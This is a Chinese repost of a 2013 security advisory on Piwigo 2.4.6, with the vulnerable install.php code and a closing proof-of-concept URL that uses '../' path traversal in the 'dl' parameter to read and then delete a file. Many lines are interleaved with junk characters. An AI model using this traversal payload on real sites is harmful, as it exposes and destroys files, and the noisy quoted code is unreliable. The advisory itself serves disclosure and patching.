Piwigo任意文件泄露和任意文件删除漏洞

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Piwigo是用PHP编写的相册脚本。
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6 Z" G/ F3 |( a' p- v; g) i! o: [Piwigo 2.4.6及其他版本没有正确验证install.php脚本的 'dl'参数值，在实现上存在安全漏洞，攻击者可利用这些漏洞查看受影响计算机上的任意文件，删除受影响应用上下文内的任意文件。
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/install.php:
* E5 }( r- S* W7 v-------------
6 N: E( J! ?6 d113: if (!empty($_GET['dl']) && file_exists(PHPWG_ROOT_PATH.$conf['data_location'].'pwg_'.$_GET['dl']))
, g. y) _, P$ k' S' _4 j114: {
115:   $filename = PHPWG_ROOT_PATH.$conf['data_location'].'pwg_'.$_GET['dl'];
3 e" D2 l/ \! H116:   header('Cache-Control: no-cache, must-revalidate');
117:   header('Pragma: no-cache');
118:   header('Content-Disposition: attachment; filename="database.inc.php"');
$ s! P7 v% l/ F9 S. d. v119:   header('Content-Transfer-Encoding: binary');
" I1 U% l1 o7 S+ ~0 |& a8 u120:   header('Content-Length: '.filesize($filename));
121:   echo file_get_contents($filename);
122:   unlink($filename);
123:   exit();
+ X" e7 z3 e: t+ a. H! I) ^* s124: }
====================================================================
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Tested on: Microsoft Windows 7 Ultimate SP1 (EN)
8 }) q; V% ]  n           Apache 2.4.2 (Win32)
           PHP 5.4.4
           MySQL 5.5.25a

Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
& D  i/ z; f9 K( w( \                            @zeroscience

, W* @7 m! d( |* }4 [1 EAdvisory ID: ZSL-2013-5127
& }+ G; ]3 e5 M: h* JAdvisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2013-5127.php
$ `! n# q7 f) ?% G5 s2 M7 kVendor Patch: http://piwigo.org/bugs/view.php?id=2843

15.02.2013
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, n% S5 r# X/ H) T0 vhttp://localhost/piwigo/install.php?dl=../../../../../../lio_passwords.txt

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